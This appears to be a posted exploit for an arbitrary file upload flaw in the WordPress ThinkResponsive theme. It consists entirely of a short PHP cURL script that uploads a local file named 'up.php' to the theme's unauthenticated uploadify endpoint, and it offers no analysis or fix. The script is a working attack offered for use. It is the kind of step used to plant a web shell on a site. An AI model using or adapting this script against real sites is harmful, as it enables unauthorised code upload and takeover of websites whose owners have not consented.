[Exploit] WordPress ThinkResponsive Themes Arbitrary

<?php
$uploadfile="up.php";
$ch = curl_init("http://127.0.0.1/wordpress/wp-content/themes/ThinkResponsive/includes/uploadify/upload_settings_image.php");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
        array('Filedata'=>"@$uploadfile"));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
print "$postResult";
?>